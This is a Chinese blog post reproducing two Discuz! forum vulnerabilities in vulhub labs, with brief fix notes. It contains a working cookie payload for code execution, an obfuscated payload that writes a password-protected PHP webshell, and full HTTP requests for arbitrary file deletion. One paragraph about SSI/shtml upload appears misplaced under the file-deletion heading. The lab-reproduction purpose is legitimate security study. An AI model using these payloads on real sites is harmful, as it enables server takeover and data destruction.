阅读 133

discuz漏洞复现

简介

漏洞环境:均为vulhub

参考链接:

官网:

百科:

Crossday Discuz! Board(简称 Discuz!)是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。

wooyun-2010-080723

参考链接:

由于php 5.3.x版本里php.ini的设置里request_order默认值为GP,导致\(\_REQUEST中不再包含\)_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

我在别的博客上看到,这个漏洞也叫Discuz 7.x/6.x 全局变量防御绕过导致代码执行

漏洞复现

启动环境,访问http://IP:8080/install安装discuz。

数据库地址填写db,数据库名为discuz。数据库的用户名和密码不能乱填,均为root,其他的可以根据自己的想法填写。

安装成功过后,点击默认板块,进入到默认板块页面,点击已有的任意一个贴子,使用burp拦截抓包,在cookie中添加payload,GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();,点击发送,查看响应。

写入shell:

Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

即可在根路径下生成x.php,连接密码为pwdPOST请求方式。

漏洞修复

7.x、6.x已经很老了,肯定是要进行升级到最新版,说是最新版也是18年发布的了。

他这个版本,我查到的是已经到了X3.4,注意前面的X。

x3.4-arbitrary-file-deletion

任意文件删除漏洞。

参考链接:

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用语法执行任意命令。

漏洞复现

启动环境,访问http://IP:8080/install安装discuz。

数据库地址填写db,数据库名为discuz。数据库的用户名和密码不能乱填,均为root,其他的可以根据自己的想法填写。

首先访问http://ip/robots.txt文件,证明该文件存在。

首先注册一个用户,注册完成后登录。在个人设置页面找到formhash字段,获取它的值,因为一会要用。

使用下面的请求包修改个人资料中的出生地,需要复制登录后的用户cookie和formhash到请求包中。

    POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
    Host: [ip]
    Content-Length: 367
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
    Cookie: [cookie]
    Connection: close

    ------WebKitFormBoundaryPFvXyxL45f34L12s
    Content-Disposition: form-data; name="formhash"

    [formhash]
    ------WebKitFormBoundaryPFvXyxL45f34L12s
    Content-Disposition: form-data; name="birthprovince"

    ../../../robots.txt
    ------WebKitFormBoundaryPFvXyxL45f34L12s
    Content-Disposition: form-data; name="profilesubmit"

    1
    ------WebKitFormBoundaryPFvXyxL45f34L12s--

至于直接抓修改出生地址请求包的方式行不行我不清楚了,因为复现的时候遇到问题,我不确定这样操作的话会不会影响结果,如果单纯是修改出生地址的话,应该没有影响。

再使用下面的请求包,进行文件删除操作,它是又重新上传了一个正常图片。注意修改formhash、ip以及cookie。

POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[formhash] HTTP/1.1
Host: [ip]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------123821742118716
Content-Length: 200
Connection: close
Cookie: [cookie]
Upgrade-Insecure-Requests: 1

-----------------------------123821742118716
Content-Disposition: form-data; name="birthprovince"; filename="0.jpg"
Content-Type: image/jpeg

xx

-----------------------------123821742118716--

修改完成后发送请求包,再次访问robots.txt文件,发现报404 Not found

我试过那个写html文件,然后通过html文件上传正常图片进行删除的方式,但是没有复现成功。方式可以在csdn的博客文章中找到。

漏洞修复

直接将unlink语句删除,参考链接:

原文:https://www.cnblogs.com/ahtoh/p/14823441.html

文章分类
代码人生
文章标签
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐